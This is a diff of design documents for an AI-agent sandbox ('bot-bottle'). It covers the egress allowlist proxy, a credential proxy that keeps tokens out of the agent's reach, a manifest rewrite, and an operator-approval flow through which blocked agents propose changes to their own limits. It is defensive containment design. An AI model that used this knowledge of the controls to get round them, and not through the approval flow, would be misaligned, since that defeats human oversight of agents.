||||
- **Docker backend wiring.** Drop `DockerSSHGate` from
|
||||
`backend.py`; drop its start / stop from `launch.py`'s
|
||||
@@ -98,7 +98,7 @@ the unused path.
|
||||
- **README.** Drop the socat / ssh image box from the
|
||||
architecture diagram and its bullet; drop `ssh:` from the
|
||||
manifest example.
|
||||
- **Example manifest.** Drop `ssh:` from `claude-bottle.example.json`.
|
||||
- **Example manifest.** Drop `ssh:` from `bot-bottle.example.json`.
|
||||
- **PRD 0007.** Add a `Status: Superseded by PRD 0009` header
|
||||
at the top of the document. Do not delete the file; the
|
||||
history of intent matters for the audit trail.
|
||||
@@ -138,19 +138,19 @@ the seams between ssh-gate and the rest of the system:
|
||||
|
||||
### Existing code touched
|
||||
|
||||
- `claude_bottle/manifest.py` — delete `SshEntry`,
|
||||
- `bot_bottle/manifest.py` — delete `SshEntry`,
|
||||
`Bottle.ssh`, `_validate_no_shadow_route`; add the
|
||||
parse-fail branch.
|
||||
- `claude_bottle/ssh_gate.py` — delete.
|
||||
- `claude_bottle/backend/docker/ssh_gate.py` — delete.
|
||||
- `claude_bottle/backend/docker/provision/ssh.py` — delete.
|
||||
- `claude_bottle/backend/docker/backend.py` — drop
|
||||
- `bot_bottle/ssh_gate.py` — delete.
|
||||
- `bot_bottle/backend/docker/ssh_gate.py` — delete.
|
||||
- `bot_bottle/backend/docker/provision/ssh.py` — delete.
|
||||
- `bot_bottle/backend/docker/backend.py` — drop
|
||||
`DockerSSHGate` instantiation.
|
||||
- `claude_bottle/backend/docker/launch.py` — drop the
|
||||
- `bot_bottle/backend/docker/launch.py` — drop the
|
||||
ssh-gate start / stop from the `ExitStack`.
|
||||
- `claude_bottle/backend/docker/bottle_plan.py` — drop the
|
||||
- `bot_bottle/backend/docker/bottle_plan.py` — drop the
|
||||
ssh-gate plan field.
|
||||
- `claude_bottle/pipelock.py` — drop the `bottle.ssh`-derived
|
||||
- `bot_bottle/pipelock.py` — drop the `bottle.ssh`-derived
|
||||
branch in the allowlist render.
|
||||
- `tests/unit/test_ssh_gate.py` — delete.
|
||||
- `tests/integration/` — delete any ssh-gate-specific tests.
|
||||
@@ -160,7 +160,7 @@ the seams between ssh-gate and the rest of the system:
|
||||
helper.
|
||||
- `README.md` — drop the socat image box from the diagram and
|
||||
the matching bullet; drop `ssh:` from the manifest example.
|
||||
- `claude-bottle.example.json` — drop the `ssh` field.
|
||||
- `bot-bottle.example.json` — drop the `ssh` field.
|
||||
- `docs/prds/0007-ssh-egress-gate.md` — add a
|
||||
`Status: Superseded by PRD 0009` header at the top.
|
||||
|
||||
@@ -173,7 +173,7 @@ the seams between ssh-gate and the rest of the system:
|
||||
### External dependencies
|
||||
|
||||
Nothing added. The `alpine/socat` image is no longer pulled
|
||||
by claude-bottle; the cleanup of any existing local image is
|
||||
by bot-bottle; the cleanup of any existing local image is
|
||||
the user's choice (a single `docker image rm` if they care).
|
||||
|
||||
## Future work
|
||||
|
||||
@@ -51,7 +51,7 @@ already rely on.
|
||||
The research note
|
||||
[`agent-credential-proxy-landscape.md`](../research/agent-credential-proxy-landscape.md)
|
||||
surveys the existing tools and concludes that a small
|
||||
claude-bottle-specific reverse proxy is less work and less risk
|
||||
bot-bottle-specific reverse proxy is less work and less risk
|
||||
than either adopting nono (alpha, unaudited) or Infisical Agent
|
||||
Vault (TLS-MITM topology that doubles up on pipelock's CA stack).
|
||||
This PRD is the build.
|
||||
@@ -118,7 +118,7 @@ common upstreams (Anthropic, GitHub, Gitea, npm) as
|
||||
- **Cross-bottle credential sharing.** One proxy per bottle, same
|
||||
one-sidecar-per-agent posture as pipelock and git-gate.
|
||||
- **`claude --bare` mode.** Reads only `ANTHROPIC_API_KEY`, not
|
||||
the OAuth token. Not in claude-bottle's flow today.
|
||||
the OAuth token. Not in bot-bottle's flow today.
|
||||
- **MCP-server tokens, package-installer tokens for languages
|
||||
beyond npm.** PyPI / Bun / cargo can land in a follow-up if
|
||||
needed; the routing pattern generalizes.
|
||||
@@ -175,7 +175,7 @@ common upstreams (Anthropic, GitHub, Gitea, npm) as
|
||||
side-effect-free; `start` does `docker create` + `docker start`
|
||||
on the bottle's internal network with hostname `cred-proxy`;
|
||||
`stop` is idempotent `docker rm -f`. Container name:
|
||||
`claude-bottle-cred-proxy-<slug>`. The agent container starts
|
||||
`bot-bottle-cred-proxy-<slug>`. The agent container starts
|
||||
after the sidecar is up so DNS resolution succeeds on the
|
||||
agent's first call.
|
||||
- **pipelock interop.** cred-proxy's outbound HTTPS traverses
|
||||
@@ -230,7 +230,7 @@ common upstreams (Anthropic, GitHub, Gitea, npm) as
|
||||
```
|
||||
┌── Host (macOS) ──────────────────────────────────────────────────┐
|
||||
│ Secrets at rest (keychain / .env): │
|
||||
│ CLAUDE_BOTTLE_OAUTH_TOKEN, GITHUB_TOKEN, │
|
||||
│ BOT_BOTTLE_OAUTH_TOKEN, GITHUB_TOKEN, │
|
||||
│ GITEA_SERVER_TOKEN, NPM_TOKEN │
|
||||
│ │ docker run -e KEY (no =VALUE on argv) │
|
||||
│ ▼ │
|
||||
@@ -288,18 +288,18 @@ Why the agent can't reach the sidecar's environ:
|
||||
|
||||
### New components
|
||||
|
||||
- **`claude_bottle/cred_proxy.py`** (new): abstract `CredProxy`
|
||||
- **`bot_bottle/cred_proxy.py`** (new): abstract `CredProxy`
|
||||
+ `CredProxyPlan` dataclass. `prepare` is host-side and
|
||||
side-effect-free; renders the route table and resolves
|
||||
`TokenRef`s against host env. Mirrors the existing `GitGate` /
|
||||
`Pipelock` shape.
|
||||
- **`claude_bottle/backend/docker/cred_proxy.py`** (new):
|
||||
- **`bot_bottle/backend/docker/cred_proxy.py`** (new):
|
||||
`DockerCredProxy` concrete subclass. `start` does
|
||||
`docker create` on the bottle's internal network with hostname
|
||||
`cred-proxy`, copies the route-table file into the container,
|
||||
then `docker start`. `stop` is idempotent `docker rm -f`.
|
||||
Container name: `claude-bottle-cred-proxy-<slug>`.
|
||||
- **`claude_bottle/backend/docker/provision/cred_proxy.py`**
|
||||
Container name: `bot-bottle-cred-proxy-<slug>`.
|
||||
- **`bot_bottle/backend/docker/provision/cred_proxy.py`**
|
||||
(new): renders `ANTHROPIC_BASE_URL`, `~/.npmrc`,
|
||||
`~/.gitconfig` `insteadOf` blocks, and `~/.config/tea/config.yml`
|
||||
into the agent's home for each declared kind — all pointing at
|
||||
@@ -310,12 +310,12 @@ Why the agent can't reach the sidecar's environ:
|
||||
|
||||
### Existing code touched
|
||||
|
||||
- **`claude_bottle/manifest.py`** — add `CredProxyRoute`,
|
||||
- **`bot_bottle/manifest.py`** — add `CredProxyRoute`,
|
||||
`CredProxyConfig`, `Bottle.cred_proxy: CredProxyConfig`. Parse
|
||||
+ validate route shape, role enum, path uniqueness, singleton-
|
||||
role constraints.
|
||||
- **`claude_bottle/backend/docker/prepare.py`** — drop the
|
||||
legacy `CLAUDE_BOTTLE_OAUTH_TOKEN` → `CLAUDE_CODE_OAUTH_TOKEN`
|
||||
- **`bot_bottle/backend/docker/prepare.py`** — drop the
|
||||
legacy `BOT_BOTTLE_OAUTH_TOKEN` → `CLAUDE_CODE_OAUTH_TOKEN`
|
||||
forward entirely. cred-proxy is the only path the Anthropic
|
||||
OAuth token reaches the bottle. When a route claims the
|
||||
`anthropic-base-url` role, write `ANTHROPIC_BASE_URL`
|
||||
@@ -324,27 +324,27 @@ Why the agent can't reach the sidecar's environ:
|
||||
otherwise; the proxy strips & replaces on every request).
|
||||
Bottles that need claude-code to authenticate must declare
|
||||
the route; there is no fallback.
|
||||
- **`claude_bottle/backend/docker/backend.py`** — instantiate
|
||||
- **`bot_bottle/backend/docker/backend.py`** — instantiate
|
||||
`DockerCredProxy` alongside `DockerPipelockProxy` and
|
||||
`DockerGitGate`; thread its `prepare` / `start` / `stop`
|
||||
through `resolve_plan` / `launch`.
|
||||
- **`claude_bottle/backend/docker/launch.py`** — add cred-proxy
|
||||
- **`bot_bottle/backend/docker/launch.py`** — add cred-proxy
|
||||
start/stop to the `ExitStack` after pipelock and before the
|
||||
agent; populate `pipelock_proxy_url` + `pipelock_ca_host_path`
|
||||
on the cred-proxy plan so its outbound HTTPS routes through
|
||||
pipelock.
|
||||
- **`claude_bottle/backend/docker/bottle_plan.py`** — new
|
||||
- **`bot_bottle/backend/docker/bottle_plan.py`** — new
|
||||
`cred_proxy_plan` field; preflight shows route count + token
|
||||
refs + a path→upstream line per route; `to_dict` emits a
|
||||
`cred_proxy` array of `{path, upstream, auth_scheme, token_ref,
|
||||
roles}`.
|
||||
- **`claude_bottle/pipelock.py`** — `pipelock_token_hosts` derives
|
||||
- **`bot_bottle/pipelock.py`** — `pipelock_token_hosts` derives
|
||||
from each route's `UpstreamHost` (not a hardcoded Kind→hosts
|
||||
map). Allowlist auto-includes them; passthrough does not (the
|
||||
proxy trusts pipelock's CA so MITM works).
|
||||
- **`README.md`** — architecture diagram includes the cred-proxy
|
||||
lane; manifest section documents `bottle.cred_proxy.routes`.
|
||||
- **`claude-bottle.example.json`** — one bottle demonstrates the
|
||||
- **`bot-bottle.example.json`** — one bottle demonstrates the
|
||||
four common routes (Anthropic, GitHub, Gitea, npm).
|
||||
- **Tests** — manifest parsing/validation, route lift + token-env
|
||||
slot assignment, role-based dispatch in the provisioner,
|
||||
|
||||
@@ -6,11 +6,11 @@
|
||||
|
||||
## Summary
|
||||
|
||||
Replace the single-file `claude-bottle.json` manifest with a
|
||||
Replace the single-file `bot-bottle.json` manifest with a
|
||||
per-file Markdown-with-YAML-frontmatter layout. Bottles live as
|
||||
`$HOME/.claude-bottle/bottles/<name>.md`; agents live as
|
||||
`$HOME/.claude-bottle/agents/<name>.md` (home-resident) and
|
||||
`$CWD/.claude-bottle/agents/<name>.md` (repo-supplied). Each file
|
||||
`$HOME/.bot-bottle/bottles/<name>.md`; agents live as
|
||||
`$HOME/.bot-bottle/agents/<name>.md` (home-resident) and
|
||||
`$CWD/.bot-bottle/agents/<name>.md` (repo-supplied). Each file
|
||||
carries its structured config in YAML frontmatter and (for agents)
|
||||
its system prompt in the Markdown body.
|
||||
|
||||
@@ -28,7 +28,7 @@ PyYAML dependency. The project's "low deps by default" stance
|
||||
|
||||
## Problem
|
||||
|
||||
`claude-bottle.json` works fine at one bottle and one agent. The
|
||||
`bot-bottle.json` works fine at one bottle and one agent. The
|
||||
project is heading for many of both, and the single-JSON shape
|
||||
starts to fray:
|
||||
|
||||
@@ -60,22 +60,22 @@ axes (grouping × format) and lands on this design.
|
||||
|
||||
Each test runs against a temporary `$HOME` and a temporary `$CWD`:
|
||||
|
||||
1. **A bottle file under `$HOME/.claude-bottle/bottles/`
|
||||
1. **A bottle file under `$HOME/.bot-bottle/bottles/`
|
||||
parses.** A `dev.md` file with YAML frontmatter declaring
|
||||
`cred_proxy.routes`, `git`, `env`, `egress` produces a Bottle
|
||||
dataclass equivalent to the current JSON shape.
|
||||
|
||||
2. **An agent file under `$HOME/.claude-bottle/agents/` parses.**
|
||||
2. **An agent file under `$HOME/.bot-bottle/agents/` parses.**
|
||||
`implementer.md` with frontmatter that names `bottle:`,
|
||||
`skills:`, and other fields, with the body as the system
|
||||
prompt, produces an Agent dataclass.
|
||||
|
||||
3. **An agent file under `$CWD/.claude-bottle/agents/` parses
|
||||
3. **An agent file under `$CWD/.bot-bottle/agents/` parses
|
||||
and overrides home-resident agents of the same name.** The
|
||||
cwd agent's frontmatter and body win; the home bottle it
|
||||
references stays intact.
|
||||
|
||||
4. **A bottle file under `$CWD/.claude-bottle/bottles/` is
|
||||
4. **A bottle file under `$CWD/.bot-bottle/bottles/` is
|
||||
ignored.** The directory does not contribute to the
|
||||
manifest; if a user accidentally creates one, the launcher
|
||||
emits a `warn`-level log naming the offending files and
|
||||
@@ -83,7 +83,7 @@ Each test runs against a temporary `$HOME` and a temporary `$CWD`:
|
||||
is a usability nicety, not a security gate.
|
||||
|
||||
5. **No third-party Python dependencies introduced.** A fresh
|
||||
clone with only stdlib + claude-bottle's own code runs every
|
||||
clone with only stdlib + bot-bottle's own code runs every
|
||||
parser test. Frontmatter parsing is hand-rolled against the
|
||||
declared YAML subset.
|
||||
|
||||
@@ -97,30 +97,30 @@ Each test runs against a temporary `$HOME` and a temporary `$CWD`:
|
||||
`name`, `description`, `model`, `color`, and `memory` fields
|
||||
from Claude Code's existing subagent spec are accepted in
|
||||
our frontmatter alongside our own fields. Copying an agent
|
||||
file from `$HOME/.claude-bottle/agents/` to
|
||||
file from `$HOME/.bot-bottle/agents/` to
|
||||
`~/.claude/agents/` produces a working Claude Code subagent
|
||||
(subject to Claude Code's tolerance for the extra `bottle:`
|
||||
and `claude_bottle:` fields — see Open Questions).
|
||||
and `bot_bottle:` fields — see Open Questions).
|
||||
|
||||
## Non-goals
|
||||
|
||||
- **A general YAML implementation.** The parser handles the
|
||||
subset claude-bottle's frontmatter actually uses; documents
|
||||
subset bot-bottle's frontmatter actually uses; documents
|
||||
that exceed the subset (anchors, multi-line block scalars,
|
||||
tags, implicit type coercion, flow style, etc.) die with a
|
||||
pointer at the spec. We are not building a YAML library.
|
||||
|
||||
- **Compatibility with the old JSON layout at runtime.** The
|
||||
resolver no longer reads `claude-bottle.json` files. This is
|
||||
resolver no longer reads `bot-bottle.json` files. This is
|
||||
a breaking change; existing users hand-rewrite their JSON
|
||||
into the new per-file layout (claude-bottle has a single
|
||||
into the new per-file layout (bot-bottle has a single
|
||||
primary user today, so the migration is one person rewriting
|
||||
one file). Documented as part of the README rewrite.
|
||||
|
||||
- **`$HOME/.claude/agents/` integration on the input side.** We
|
||||
don't read agent files out of Claude Code's directory. Our
|
||||
files can be copied into Claude Code's tree by the user if
|
||||
they want, but the input path for claude-bottle is its own
|
||||
they want, but the input path for bot-bottle is its own
|
||||
directory.
|
||||
|
||||
- **A signed-manifest scheme.** Out of scope per the
|
||||
@@ -139,14 +139,14 @@ Each test runs against a temporary `$HOME` and a temporary `$CWD`:
|
||||
### In scope
|
||||
|
||||
- **Directory layout.**
|
||||
- `$HOME/.claude-bottle/bottles/<name>.md` — bottle
|
||||
- `$HOME/.bot-bottle/bottles/<name>.md` — bottle
|
||||
definitions (full schema; one Bottle per file).
|
||||
- `$HOME/.claude-bottle/agents/<name>.md` — home-resident
|
||||
- `$HOME/.bot-bottle/agents/<name>.md` — home-resident
|
||||
agents.
|
||||
- `$CWD/.claude-bottle/agents/<name>.md` — cwd-resident
|
||||
- `$CWD/.bot-bottle/agents/<name>.md` — cwd-resident
|
||||
agents; same schema as home agents, but bottle names must
|
||||
resolve against the home set.
|
||||
- `$CWD/.claude-bottle/bottles/` — ignored with a warn-level
|
||||
- `$CWD/.bot-bottle/bottles/` — ignored with a warn-level
|
||||
log (see SC #4). Does not contribute to the manifest.
|
||||
- `<name>` is the file basename without `.md`. Filenames must
|
||||
match `[a-z][a-z0-9-]*` (kebab-case, ASCII-only).
|
||||
@@ -162,7 +162,7 @@ Each test runs against a temporary `$HOME` and a temporary `$CWD`:
|
||||
- `skills: [<name>, ...]` (optional) — host-side skills under
|
||||
`~/.claude/skills/`.
|
||||
- `name`, `description`, `model`, `color`, `memory` — accepted
|
||||
but treated as Claude Code passthrough; claude-bottle
|
||||
but treated as Claude Code passthrough; bot-bottle
|
||||
ignores them at launch but doesn't reject. Lets the same
|
||||
file double as a Claude Code subagent.
|
||||
- Unknown top-level keys die with a hint listing accepted
|
||||
@@ -191,17 +191,17 @@ Each test runs against a temporary `$HOME` and a temporary `$CWD`:
|
||||
the required-keys check — same diagnostic as malformed).
|
||||
|
||||
- **Manifest assembly.** New resolver:
|
||||
1. Walk `$HOME/.claude-bottle/bottles/*.md` → Bottle dict
|
||||
1. Walk `$HOME/.bot-bottle/bottles/*.md` → Bottle dict
|
||||
keyed by filename.
|
||||
2. Walk `$HOME/.claude-bottle/agents/*.md` → Agent dict.
|
||||
3. Walk `$CWD/.claude-bottle/agents/*.md` → Agent dict; merge
|
||||
2. Walk `$HOME/.bot-bottle/agents/*.md` → Agent dict.
|
||||
3. Walk `$CWD/.bot-bottle/agents/*.md` → Agent dict; merge
|
||||
into the home agent dict, cwd wins on name collision.
|
||||
4. Validate every agent's `bottle:` against the bottle dict.
|
||||
5. Warn if `$CWD/.claude-bottle/bottles/` exists with files.
|
||||
5. Warn if `$CWD/.bot-bottle/bottles/` exists with files.
|
||||
6. Return Manifest dataclass — same shape as today.
|
||||
|
||||
- **Docs.** README's manifest section rewrites against the new
|
||||
layout. `claude-bottle.example.json` becomes
|
||||
layout. `bot-bottle.example.json` becomes
|
||||
`examples/bottles/dev.md` + `examples/agents/implementer.md`.
|
||||
The PRD 0010 example block in its own document gets a
|
||||
follow-up commit noting the new layout (out of scope for
|
||||
@@ -233,7 +233,7 @@ Each test runs against a temporary `$HOME` and a temporary `$CWD`:
|
||||
### File layout
|
||||
|
||||
```
|
||||
$HOME/.claude-bottle/
|
||||
$HOME/.bot-bottle/
|
||||
├── bottles/
|
||||
│ ├── dev.md
|
||||
│ ├── gitea-dev.md
|
||||
@@ -243,7 +243,7 @@ $HOME/.claude-bottle/
|
||||
├── researcher.md
|
||||
└── ...
|
||||
|
||||
$CWD/.claude-bottle/
|
||||
$CWD/.bot-bottle/
|
||||
└── agents/
|
||||
└── <repo-specific>.md
|
||||
```
|
||||
@@ -261,7 +261,7 @@ cred_proxy:
|
||||
- path: /anthropic/
|
||||
upstream: https://api.anthropic.com
|
||||
auth_scheme: Bearer
|
||||
token_ref: CLAUDE_BOTTLE_OAUTH_TOKEN
|
||||
token_ref: BOT_BOTTLE_OAUTH_TOKEN
|
||||
role: anthropic-base-url
|
||||
- path: /gitea/dideric/
|
||||
upstream: https://gitea.dideric.is
|
||||
@@ -271,8 +271,8 @@ cred_proxy:
|
||||
git:
|
||||
remotes:
|
||||
gitea.dideric.is:
|
||||
Name: claude-bottle
|
||||
Upstream: ssh://git@gitea.dideric.is:30009/didericis/claude-bottle.git
|
||||
Name: bot-bottle
|
||||
Upstream: ssh://git@gitea.dideric.is:30009/didericis/bot-bottle.git
|
||||
IdentityFile: ~/.ssh/gitea-delos-2.pem
|
||||
ExtraHosts:
|
||||
gitea.dideric.is: 100.78.141.42
|
||||
@@ -302,7 +302,7 @@ skills:
|
||||
---
|
||||
|
||||
You are a feature-implementation agent running inside an
|
||||
ephemeral claude-bottle sandbox...
|
||||
ephemeral bot-bottle sandbox...
|
||||
```
|
||||
|
||||
Drop the same file into `~/.claude/agents/implementer.md` and
|
||||
@@ -336,7 +336,7 @@ Notable rejections (each dies with a specific error):
|
||||
be ambiguous, quote it.
|
||||
- Flow style mappings nested more than one level deep.
|
||||
|
||||
Parser lives at `claude_bottle/yaml_subset.py`, ~300 lines.
|
||||
Parser lives at `bot_bottle/yaml_subset.py`, ~300 lines.
|
||||
Public API:
|
||||
|
||||
```python
|
||||
@@ -348,14 +348,14 @@ def parse_frontmatter(text: str) -> tuple[dict[str, object], str]:
|
||||
|
||||
### Existing code touched
|
||||
|
||||
- **`claude_bottle/manifest.py`** — `Manifest.resolve` rewritten
|
||||
- **`bot_bottle/manifest.py`** — `Manifest.resolve` rewritten
|
||||
to walk the new directories. `Manifest.from_json_obj` kept as
|
||||
a programmatic entry point (used by tests). New
|
||||
`Manifest.from_md_dirs(home_dir, cwd_dir)` for the loader.
|
||||
- **`claude_bottle/yaml_subset.py`** — new. The parser.
|
||||
- **`bot_bottle/yaml_subset.py`** — new. The parser.
|
||||
- **`README.md`** — manifest section rewritten against the new
|
||||
layout.
|
||||
- **`claude-bottle.example.json`** — removed; replaced by an
|
||||
- **`bot-bottle.example.json`** — removed; replaced by an
|
||||
`examples/` directory with one bottle file + one agent file.
|
||||
- **Tests** — new parser tests + new loader tests; existing
|
||||
manifest tests adapt to either build via `from_json_obj`
|
||||
@@ -368,12 +368,12 @@ etc. all stay the same shape. Only the loader changes.
|
||||
|
||||
### Backward compatibility
|
||||
|
||||
This is a breaking change for v1 users. claude-bottle has a
|
||||
This is a breaking change for v1 users. bot-bottle has a
|
||||
single primary user today, so migration is one person rewriting
|
||||
one file — no automated migration command is in scope.
|
||||
|
||||
If `claude-bottle.json` exists in `$HOME` or `$CWD` *and* the
|
||||
new `.claude-bottle/` directory does not exist, the resolver
|
||||
If `bot-bottle.json` exists in `$HOME` or `$CWD` *and* the
|
||||
new `.bot-bottle/` directory does not exist, the resolver
|
||||
dies with a clear pointer at the README's manifest section —
|
||||
not silently merging formats, not silently dropping the JSON
|
||||
content.
|
||||
@@ -384,11 +384,11 @@ content.
|
||||
empirically before settling: drop a file with `bottle: dev`
|
||||
in `~/.claude/agents/` and see whether Claude Code warns,
|
||||
ignores, or breaks. If it warns, namespace the field
|
||||
(`claude-bottle-bottle:` or a nested `claude_bottle:` block).
|
||||
- **Hidden directory vs visible.** Default `.claude-bottle/`
|
||||
(`bot-bottle-bottle:` or a nested `bot_bottle:` block).
|
||||
- **Hidden directory vs visible.** Default `.bot-bottle/`
|
||||
(hidden — matches `.config/`, `.ssh/`, `.docker/`). If users
|
||||
routinely want to navigate to it from the file manager,
|
||||
switch to `claude-bottle/`. Lean hidden.
|
||||
switch to `bot-bottle/`. Lean hidden.
|
||||
- **`description:` for bottles.** Should bottle frontmatter
|
||||
carry a `description:` field for the y/N preflight? Default
|
||||
no — bottle names are kebab-case and self-describing, and
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
|
||||
## Summary
|
||||
|
||||
When an agent running inside a claude-bottle container gets blocked, it invokes one of three MCP tool calls — `cred-proxy-block`, `pipelock-block`, or `capability-block` — passing a *proposed* config change (modified `routes.json`, modified pipelock allowlist, or modified agent Dockerfile) plus text describing why the change is justified. The supervisor sees the proposal in a host-side TUI, approves / modifies / rejects it, and the corresponding remediation runs: SIGHUP-reload cred-proxy with the new routes; restart pipelock with the new allowlist; rebuild the bottle from the new Dockerfile on the same branch. The agent's tool call blocks until the operator acts. The supervisor never opens a live channel into a running bottle; all signal flow goes through a per-bottle MCP sidecar on the existing internal network.
|
||||
When an agent running inside a bot-bottle container gets blocked, it invokes one of three MCP tool calls — `cred-proxy-block`, `pipelock-block`, or `capability-block` — passing a *proposed* config change (modified `routes.json`, modified pipelock allowlist, or modified agent Dockerfile) plus text describing why the change is justified. The supervisor sees the proposal in a host-side TUI, approves / modifies / rejects it, and the corresponding remediation runs: SIGHUP-reload cred-proxy with the new routes; restart pipelock with the new allowlist; rebuild the bottle from the new Dockerfile on the same branch. The agent's tool call blocks until the operator acts. The supervisor never opens a live channel into a running bottle; all signal flow goes through a per-bottle MCP sidecar on the existing internal network.
|
||||
|
||||
This PRD is the overview. Implementation is split across four follow-on PRDs (0013–0016); see *Implementation chunks* below.
|
||||
|
||||
@@ -29,7 +29,7 @@ A real stuck agent recovers end-to-end in each of the three categories: a **cred
|
||||
|
||||
Three named categories, each with its own MCP tool. Ordered by remediation cost:
|
||||
|
||||
- **cred-proxy block.** Tool: `cred-proxy-block`. The agent's request was refused by cred-proxy — missing route, expired token, wrong scope. The agent reads the current `routes.json` from `/etc/claude-bottle/current-config/`, composes a modified version, and calls the tool with `{routes: <new file>, justification: "..."}`. The operator reviews the diff in the TUI; on approval, the supervisor writes the new `routes.json` and cred-proxy SIGHUP-reloads. In-flight connections are not dropped. The tool returns `{status: "approved", notes: "..."}` and the agent retries. Implementation: PRD 0014.
|
||||
- **cred-proxy block.** Tool: `cred-proxy-block`. The agent's request was refused by cred-proxy — missing route, expired token, wrong scope. The agent reads the current `routes.json` from `/etc/bot-bottle/current-config/`, composes a modified version, and calls the tool with `{routes: <new file>, justification: "..."}`. The operator reviews the diff in the TUI; on approval, the supervisor writes the new `routes.json` and cred-proxy SIGHUP-reloads. In-flight connections are not dropped. The tool returns `{status: "approved", notes: "..."}` and the agent retries. Implementation: PRD 0014.
|
||||
- **pipelock block.** Tool: `pipelock-block`. The agent's outbound request was refused by pipelock — host not in the allowlist, protocol not permitted. The agent reads the current allowlist, composes a modified version, and calls the tool with `{allowlist: <new file>, justification: "..."}`. On approval, the supervisor writes the new allowlist and restarts pipelock; in-flight outbound calls may drop and rely on retry. The tool returns the same approve/reject shape. Implementation: PRD 0015.
|
||||
- **capability block.** Tool: `capability-block`. The bottle is missing a tool, skill, permission, or env var the agent needs — something that lives in the agent Dockerfile rather than in routes or the pipelock allowlist. The agent reads the current Dockerfile, composes a modified version, and calls the tool with `{dockerfile: <new file>, justification: "..."}`. On approval, the rebuild orchestrator tears down the bottle, builds from the new Dockerfile, and starts a replacement bottle on the same branch via the state-preservation helper. Because the current agent is about to be replaced, the tool's return is best-effort — the replacement agent inherits the approval record via the preserved transcript. Implementation: PRD 0016.
|
||||
|
||||
|
||||
@@ -7,7 +7,7 @@
|
||||
|
||||
## Summary
|
||||
|
||||
The shared infrastructure that PRDs 0014–0016 build on. Adds a per-bottle MCP sidecar that exposes three tools (`cred-proxy-block`, `pipelock-block`, `capability-block`) to the agent; a read-only `/etc/claude-bottle/current-config/` mount in the agent container that exposes the current `routes.json`, pipelock allowlist, and Dockerfile; a host-mounted proposal queue; a minimal TUI dashboard that lists pending proposals and supports approve / modify / reject; and the audit log format. After this PRD, an operator can see proposals and approve/reject them — but the approval handlers are no-ops. The remediation engines that actually act on approvals land in 0014, 0015, and 0016.
|
||||
The shared infrastructure that PRDs 0014–0016 build on. Adds a per-bottle MCP sidecar that exposes three tools (`cred-proxy-block`, `pipelock-block`, `capability-block`) to the agent; a read-only `/etc/bot-bottle/current-config/` mount in the agent container that exposes the current `routes.json`, pipelock allowlist, and Dockerfile; a host-mounted proposal queue; a minimal TUI dashboard that lists pending proposals and supports approve / modify / reject; and the audit log format. After this PRD, an operator can see proposals and approve/reject them — but the approval handlers are no-ops. The remediation engines that actually act on approvals land in 0014, 0015, and 0016.
|
||||
|
||||
## Problem
|
||||
|
||||
@@ -33,10 +33,10 @@ See PRD 0012 for the broader stuck-agent problem. This PRD specifically addresse
|
||||
- A per-bottle MCP sidecar container on the bottle's internal network.
|
||||
- MCP tool definitions for `cred-proxy-block`, `pipelock-block`, `capability-block` (input schemas as defined in PRD 0012 *Stuck categories*).
|
||||
- Tool output: `{status: "approved"|"modified"|"rejected", notes: "..."}`.
|
||||
- A read-only mount at `/etc/claude-bottle/current-config/` in the agent container exposing the current `routes.json`, pipelock allowlist, and Dockerfile.
|
||||
- A host-mounted per-bottle proposal queue at `~/.claude-bottle/queue/<slug>/` (file-per-proposal, with metadata and proposed file content).
|
||||
- A `claude-bottle dashboard` (or similarly named) TUI that lists running bottles and pending proposals across all of them; supports approve, modify-then-approve, and reject-with-reason for each pending proposal.
|
||||
- Audit log files at `~/.claude-bottle/audit/cred-proxy-<slug>.log` and `~/.claude-bottle/audit/pipelock-<slug>.log` with the agreed-upon format (timestamp, diff before/after, justification text, operator action with notes). Entries are written by the supervisor on each approve/modify/reject decision. (capability-block has no separate audit log — capability changes are captured by the bottle's rebuild record / git history.)
|
||||
- A read-only mount at `/etc/bot-bottle/current-config/` in the agent container exposing the current `routes.json`, pipelock allowlist, and Dockerfile.
|
||||
- A host-mounted per-bottle proposal queue at `~/.bot-bottle/queue/<slug>/` (file-per-proposal, with metadata and proposed file content).
|
||||
- A `bot-bottle dashboard` (or similarly named) TUI that lists running bottles and pending proposals across all of them; supports approve, modify-then-approve, and reject-with-reason for each pending proposal.
|
||||
- Audit log files at `~/.bot-bottle/audit/cred-proxy-<slug>.log` and `~/.bot-bottle/audit/pipelock-<slug>.log` with the agreed-upon format (timestamp, diff before/after, justification text, operator action with notes). Entries are written by the supervisor on each approve/modify/reject decision. (capability-block has no separate audit log — capability changes are captured by the bottle's rebuild record / git history.)
|
||||
- Bottle lifecycle script changes to launch the MCP sidecar alongside the other sidecars and mount the read-only current-config directory.
|
||||
|
||||
### Out of scope
|
||||
@@ -49,15 +49,15 @@ See PRD 0012 for the broader stuck-agent problem. This PRD specifically addresse
|
||||
### New services / components
|
||||
|
||||
- **MCP sidecar.** New per-bottle container on the bottle's internal network. Exposes the three tools to the agent. On a tool call: validates the proposed file syntactically (valid JSON for `routes.json`, parseable Dockerfile, etc.), writes the proposal to the queue, and holds the tool-call connection open until the supervisor responds. Returns `{status, notes}` to the agent on response.
|
||||
- **Read-only current-config mount.** `/etc/claude-bottle/current-config/` in the agent container exposes `routes.json`, the pipelock allowlist, and the agent Dockerfile from the host. Read-only — the agent proposes changes via the tool call, never by writing the file directly.
|
||||
- **Proposal queue.** Per-bottle directory under `~/.claude-bottle/queue/<slug>/` on the host. One file per pending proposal with `{id, tool, proposed_file, justification, arrival_timestamp, current_file_hash, bottle_slug}`.
|
||||
- **Read-only current-config mount.** `/etc/bot-bottle/current-config/` in the agent container exposes `routes.json`, the pipelock allowlist, and the agent Dockerfile from the host. Read-only — the agent proposes changes via the tool call, never by writing the file directly.
|
||||
- **Proposal queue.** Per-bottle directory under `~/.bot-bottle/queue/<slug>/` on the host. One file per pending proposal with `{id, tool, proposed_file, justification, arrival_timestamp, current_file_hash, bottle_slug}`.
|
||||
- **Minimal TUI dashboard.** Lists running bottles and pending proposals. For each proposal: shows current vs. proposed diff and justification. Operator actions: approve / modify-then-approve / reject-with-reason. Stdlib only (curses) unless that proves painful.
|
||||
- **Audit log format.** Append-only files at `~/.claude-bottle/audit/<component>-<slug>.log`. Each entry: timestamp, diff before/after, agent justification (if from a tool call), operator action + notes. Defines the format; the per-component PRDs (0014, 0015) fill in real entries.
|
||||
- **Audit log format.** Append-only files at `~/.bot-bottle/audit/<component>-<slug>.log`. Each entry: timestamp, diff before/after, agent justification (if from a tool call), operator action + notes. Defines the format; the per-component PRDs (0014, 0015) fill in real entries.
|
||||
